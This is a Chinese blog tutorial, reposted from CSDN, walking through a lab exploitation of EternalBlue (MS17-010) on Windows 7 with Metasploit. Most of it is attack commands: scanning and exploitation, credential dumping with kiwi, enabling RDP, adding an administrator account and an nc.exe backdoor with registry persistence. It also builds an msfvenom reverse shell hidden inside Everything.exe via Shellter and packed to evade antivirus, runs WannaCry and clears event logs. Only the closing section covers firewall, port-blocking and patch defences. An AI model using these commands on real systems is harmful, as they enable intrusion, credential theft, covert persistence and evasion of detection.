关注

Kali--MSF-永恒之蓝详解(复现、演示、远程、后门、加壳、修复)

目录

一、永恒之蓝概述

二、SMB协议

三、准备工作

四、漏洞复现

1、主机发现

2、端口扫描

3、利用模块

五、演示功能

1.获取cmd

2.捕获屏幕

3.上传文件

4.下载文件

5.远程登录

6.上传后门

7.免杀加壳

8.运行wannacry

9.清除日志

六、预防方案

1.打开防火墙

2.安装杀毒软件

3.禁用445端口 

4.IPsec关闭高危端口

5.注册表关闭445端口

6.安装补丁

七、总结


一、永恒之蓝概述

        永恒之蓝(Eternal Blue)爆发于2017年4月14日晚,是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限,以此来控制被入侵的计算机。甚至于2017年5月12日, 不法分子通过改造“永恒之蓝”制作了wannacry程序,使全世界大范围内遭受了该程序,甚至波及到学校、大型企业、政府等机构,只能通过支付高额的赎金才能恢复出文件。但不过在该程序出来不久就被微软通过打补丁修复了。

二、SMB协议

        SMB(Server Message Block)是一个协议服务器信息块,它是一种客户机/服务器、请求/响应协议,通过SMB协议可以在计算机间共享文件、打印机、命名管道等资源,电脑上的网上邻居就是靠SMB实现的;SMB协议工作在应用层和会话层,可以用在TCP/IP协议之上,SMB使用TCP139端口和TCP445端口。

三、准备工作

  • 虚拟机:VMware
  • 靶机:Windows 7(IP:192.168.184.138)
  • 攻击机:Kali (IP:192.168.184.130)
  • 工具:Kali中的nmap   metasploit(MSF)

四、漏洞复现

1、主机发现

   a.前提win7关闭防火墙

不关闭防火墙有可能nmap扫描不到其端口,MSF利用不了永恒之蓝漏洞。

 可以ipconfig ifconfig分别查看win7和kali中的ip地址:

win7

    

 kali

 2.用kali中的nmap 扫描网段做主机发现

IP地址:<网络号>+<主机号>

 

A类:10.0.0.0~10.255.255.255

B类:172.16.0.0~173.31.255.255

C类:192.168.0.0~192.168.255.255

/24就是代表24个1,即子网掩码为255.255.255.0

192.168.184.0/24   “/” 后面的数字控制前面 ip 地址的掩码,以表示后面有几位可以变。

nmap -sP 192.168.184.0/24  #sP(ping扫描)

 .1 .2 .254 都是虚拟机自带的地址 130是kali本身的 138是扫出来的win7

3.用kali中的metasploit(MSF)做主机发现 

msfconsole                                 //启动MSF
use auxiliary/scanner/discovery/arp_sweep  //use使用模块
set rhosts 192.168.184.0/24   //设置扫描网段
set threads 50             //提高线程
run                        //运行

 这是以上的方法做主机发现,其实还有很多。

  • Windows 7  IP:192.168.184.138
  • Kali   IP:192.168.184.130

 让他们ping一下,看看是否联通。

kali——ping——win7

 win7——ping——kali

 

 2、端口扫描

nmap -sT  扫描端口:

nmap -sT 192.168.184.138   #sT(使用TCP进行扫描)

 MSF 端口扫描:

use auxiliary/scanner/portscan/tcp   //使用模块
set rhosts 192.168.184.138   //设置远程ip
run

扫出来端口139 135 445 是开放的,如果没有开启防火墙的状况下是可以直接利用的(前面我们已经关掉了)

3、利用模块

    MSF 搜索永恒之蓝的漏洞  输入search ms17-010 (微软 永恒之蓝编号ms17-010)

1.  blue就是永恒之蓝的漏洞

2. psexec是可利用的一个javascripe(JS)的一个模块

3.  command是运行cmd的

4. 最后一个是探测的模块

a.我们先利用探测的模块看一下我们的这台win7有没有可能存在漏洞。

use auxiliary/scanner/smb/smb_ms17_010  //使用模块 use 3也可以
show options   //查看要配置的参数
set rhosts 192.168.184.138   //设置远程ip
run                    //运行

 我们扫出来是 likely 可能的   可能存在漏洞 good!

b.我们在利用永恒之蓝的模块

use exploit/windows/smb/ms17_010_eternalblue
show options 
set rhosts 192.168.184.138
exploit/run

 msf>命令

 慢慢跑

 成功!!!

运行成功会出现meterpreter >
Meterpreter 是 Metasploit 的一个扩展模块,可以调用 Metasploit 的一些功能,
对目标系统进行更深入的渗透,如进入cmd、获取屏幕、上传/下载文件、创建持久后门等。

五、演示功能

1.获取cmd

meterpreter > shell
chcp 65001  //转换一下编码 要不然会乱码
ipconfig  #查看ip
whoami    #查看当前用户名称

 2.捕获屏幕

meterpreter > screenshot   #屏幕截图

 查看捕获的图片:

3.上传文件

meterpreter > upload user.txt c://

 到win7看一看,果然有了。

 4.下载文件

meterpreter > download d://1.txt

 5.远程登录

kiwi模块查看密码:

使用kiwi模块需要system管理员权限:

meterpreter > load kiwi //加载kiwi模块
Loading extension kiwi...Success.
creds_all  #列举所有凭据
exit   #退出

k:k123456 

MSF启动目标机的3389端口

windows远程连接默认是不允许连接的:

 我们总不能手动在win7上允许远程连接吧,这样我们怎么能算得上Hacker呢,哈哈哈...

 启动win7的3389端口即远程桌面协议,执行远程链接命令:

meterpreter > run post/windows/manage/enable_rdp  //启用目标主机的3389端口远程桌面
meterpreter > idletime  //查看远程用户的空闲时长,空闲时间长再进行远程登陆,减小被发现的风险。

 

在次查看win7远程:

 

root@kali:~# rdesktop 192.168.184.138  //使用 rdesktop 命令远程连接桌面

 输入刚刚查到的账户和密码  k:k123456 

 连接成功!!!

 由于这样我们远程登录win7用户k,在win7会把用户k顶下去:

创建用户:

 所以我们要创建一个新用户用来登录:

meterpreter > shell            #进入命令行
net user kill 123 /add         #新建用户kill 密码123
net  localgroup  administrators kill /add #将用户kill添加到Win7的本地管理员组中,获得管理员权限
net user               #查看用户

root@kali:~# rdesktop 192.168.184.138  //使用 rdesktop 命令远程连接桌面

 但是这样也会被win7的当前用户所以提示要不要让远程用户远程连接到本机:

点击确定---kali连接到win7,点击取消kali连不上win7.

确定 :

 取消:

 

 查一查吧!!!

chat-GPT是真好用! 

 按照GPT的来

  1. 输入“gpedit.msc”并回车,打开本地组策略编辑器。

  2. 在组策略编辑器中依次展开“计算机配置”、“管理模板”、“Windows组件”、“远程桌面服务”和“远程桌面会话主机”。

  3. 右侧窗口中找到“限制每个用户只能有一个会话”选项,将其禁用。

  4. 保存设置并关闭组策略编辑器。

我的win7专业版好像不行。。。设置完成还是不能多用户远程登录,还是会挤掉。。。

好在找到了破解补丁!!!破解---重启!!!

重启win7 在次连接:成功!!!

 kali远程连接:rdesktop 192.168.184.138

win7没有掉: 

6.上传后门

在网络工具中有“瑞士军刀”美誉的NetCat,上传nc.exe到win7。

msf上传到win7 的c盘windows下

upload /usr/share/windows-binaries/nc.exe  C:\\Windows   

 win7看一下:

当目标机开机,程序后台运行,且监听端口为7777,这个端口可以自己设置。

reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v lltest_nc -d 'C:\windows\nc.exe -Ldp 7777 -e cmd.exe'

新建一个防火墙规则,允许7777端口访问网络。可以通过reboot命令重起目标机,然后通过nc -v ip+端口进行连接。

 netsh firewall add portopening TCP 7777 "kill" ENABLE ALL 

对应的win7: 

 通过nc -v连接靶机进入控制台 

nc -v 192.168.184.145 7777 

whoami 查看用户是kill 因为我们是开启监听kill用户的7777,所以nc上线到的是kill用户: 

 

 7.免杀加壳

MSF生成.exe的马:

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.184.130 lport=4444 -f exe -o shell.exe

 我们把nc军刀和生成的.exe马都上传到win7的windows下addins目录(因为这是windows的默认自带目录)

upload /root/kiss/nc.exe c:\\Windows\\addins
upload /root/kiss/shell.exe c:\\Windows\\addins
#长传   kali木马的目录       上传到目标主机的目录

 查看win7下的目录:

 360,火绒检测一下,肯定是报毒的:

给木马加壳:

加壳用到的工具是Shielden:

 一个奇葩的事:nc军刀加壳后过火绒没过360,生成的.exe马加壳后过360没过火绒。

不过这样是不行的,因为只是没了360火绒的检测,可是还要运行.exe,运行的时候大概率还是会被杀掉的。

shellter附加:

大概意思是把木马里的代码插入到正常的可执行文件中,这样增加木马的混淆性,使其达到免杀的效果。

kali新版本已经没有了,安装命令:

apt-get update
apt-get install shellter
dpkg --add-architecture i386 && apt-get update && apt-get install wine32

我的已经下好了: 

 shellter:命令行启动

如果有中文乱码,是因为缺少字体,下载字体就可以了:

 链接:https://pan.baidu.com/s/1Pbj_mUd3fPR7juqsjeizFA 
提取码:8888

kali命令:

unzip Fonts.zip  #解压.zip

cp Fonts/* ~/.wine/drive_c/windows/Fonts/   #把Fonts文件夹内所有字体复制到wine的映射目录内

 打开~/.wine/drive_c/windows/Fonts,确保字体已复制(原本这个文件夹是空的)

 终端输入winecfg,然后点击“显示”界面,可以发现红框处由原来的乱码变成了可显示的中文字体。

 

 好了,正片开始:

 下载文件搜索工具everything

我们用32位everything.exe,可点该链接下载

下载好以后是一个压缩包,解压之后把里面的everything.exe放到kali中

添加后门 :

启动shellter后,在选择模式后选择A,自动模式:

然后输入要加后门文件的路径:

A
/root/kiss/bao/Everything.exe

 回车后等一会,要选择是否启用隐身模式这里选择N

 看图填就行:

 监听ip填写kali的,端口填6666就好: 

回车:

这个时候木马就已经生成成功了,生成的木马替换了原本PE文件的位置,原本的PE文件存在Shellter_Backups

Shielden加壳: 

不加壳能够过360,过不了火绒:

 还是要加壳滴:

 加壳后:

 先利用永恒之蓝把木马上传到win7中: (可以上传指更深层的目录)

  

upload /root/kiss/bao/Everything_se.exe c:\\

 查看一下

 MSF运行Everything.exe即监听成功:

先开启端口

MSF永恒之蓝运行:
shell进入cmd
开启6666端口
netsh advfirewall firewall add rule name="Open Port 6666" dir=in action=allow protocol=TCP localport=6666 enable=yes
cd 到带有木马下的目录
Everything_se.exe 运行该木马

等开启监听在运行也可以

MSF启动监听:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.184.138
set lport 6666
run

 最后的运行:

大概就是先开启监听,然后在利用MSF永恒之蓝运行:

查看win7,发现Everything.exe在运行:

 当然我们也可以给木马加入开机自启,然后MSF开启监听,直接上线到win7:

reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v lltest_nc -d 'C:\Everything_se.exe -Ldp 6666 -e cmd.exe'

 设置完成后win7重启,在reboot重启也行.

上线MSF:成功!!! 

8.运行wannacry

MSF upload 上传wcry.exe 并运行:

 运行即勒索:

 尝试关闭wcry.exe,结果失败:

 好在软件还可以进去,360,火绒扫一扫吧:

 wannacry:360火绒能奈我何😊😊😊 这次是真想哭了(wannacry).....

 9.清除日志

win7 事件查看器(日志)

 kali中清除

meterpreter > clearev

 在次查看,都被清空了,但是还会有最后一个命令清除的日志。

六、预防方案

  • 打开防火墙,安装杀毒软件。
  • 关闭445端口及不必要的服务。
  • 安装对应补丁。

1.打开防火墙

win7下打开防火墙:

MSF测试 :

 开启防火墙模式下---MSF发起攻击: 

竟然成功了!!! (注:这是我攻击过后,在次利用MSF攻击。未被永恒之蓝攻击过开启防火墙是攻击不了的)

 

 2.安装杀毒软件

360和火绒:成功阻止永恒之蓝

病毒查杀nc.exe

 MSF攻击:拒绝连接了

因为360 火绒起了防护作用,还把我的后门nc军刀给杀掉了。(想不被发现还要做免杀) 

 看来安装杀毒软件还是有用滴。(关闭360火绒还是可以攻击的)

测试工具:显示还是有永恒之蓝的。

3.禁用445端口 

防火墙新增入站规则:

打开防火墙的高级设置,新建入站规则:

 选择端口139,455

 阻止连接

 作用于全部(域,专用,公用)命名为高危端口,139,445端口。

 打开防火墙的入站规则查看:

关闭server服务

WIN+R 运行--services.msc

找到server服务,双击进入管理控制页面。把这个服务的启动类型更改为“禁用”,服务状态更改为“停止”,最后点击应用即可。

关闭不必要的服务:

比如 网络发现、文件传输、共享、打印、远程连接、远程桌面。

4.IPsec关闭高危端口

在“开始”菜单选择“运行”,输入“gpedit.msc”后回车,打开本地组策略编辑器。依次展开“计算机配置—windows设置—安全设置—ip安全策略,在 本地计算机”,右键创建ip安全策略:

 填写名称:

 下一步

 下一步

添加 

继续添加: 

 

 命名,添加,任何ip就行

 确定:

 筛选器新建

 阻止

 确定 查看:

 

 添加139和其他端口一个道理。

MSF测试:失败 

5.注册表关闭445端口

注册表方式关闭445端口,还有防火墙规则方式,cmd命令提示行关闭等等。

WIN+R 运行--regedit 进入注册表:

找到注册表项“HKEY_LOCAL_MACHINE\System\Controlset\Services\NetBT\Parameters”

选择“Parameters”项,右键单击,选择“新建”——“DWORD值”。(64位  32位根据自己系统需求) 

将DWORD值重命名为“SMBDeviceEnabled”

右键修改"数值数据"的值为0(0代表关闭,1代表打开),点击确定,完成设置 。

最后重启电脑即可关闭445端口。

重启之前:netstat -ant 查看端口:

 重启之后:netstat -ant 查看端口,发现没有445端口了。

 445端口关闭了,肯定攻击不成功了,超时。。。

 工具也因445端口关闭而连接失败,但win7还是存在永恒之蓝漏洞的。

         虽然这种方法可行,但伤敌一千,自损八百。因为我们个人不一定用到445端口等文件共享,打印什么的,但是公司企业需要:

        比如:企业在服务器上将某一个目录共享给企业内的员工,让他们存储及共享文件等。

6.安装补丁

这是大招了,哈哈哈。。。

补丁网站:

Microsoft Update Catalog

我们安装微软发布的2019年的补丁,也是最新的补丁, 因为微软在2020.1月的时候停止对win7的支持更新了。

win7安装补丁之前:

win7安装KB4474419补丁:

 

多了一个补丁: 

MSF攻击:

 失败

工具检测:系统安全

七、总结

为了维持操作系统的安全,我们能做到的是及时更新,安装补丁,关闭不必要的服务和端口

转载自CSDN-专业IT技术社区

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。

原文链接:https://blog.csdn.net/m0_65712192/article/details/127637917

评论

赞0

评论列表

微信小程序
QQ小程序

关于作者

点赞数:0
关注数:0
粉丝:0
文章:0
关注标签:0
加入于:--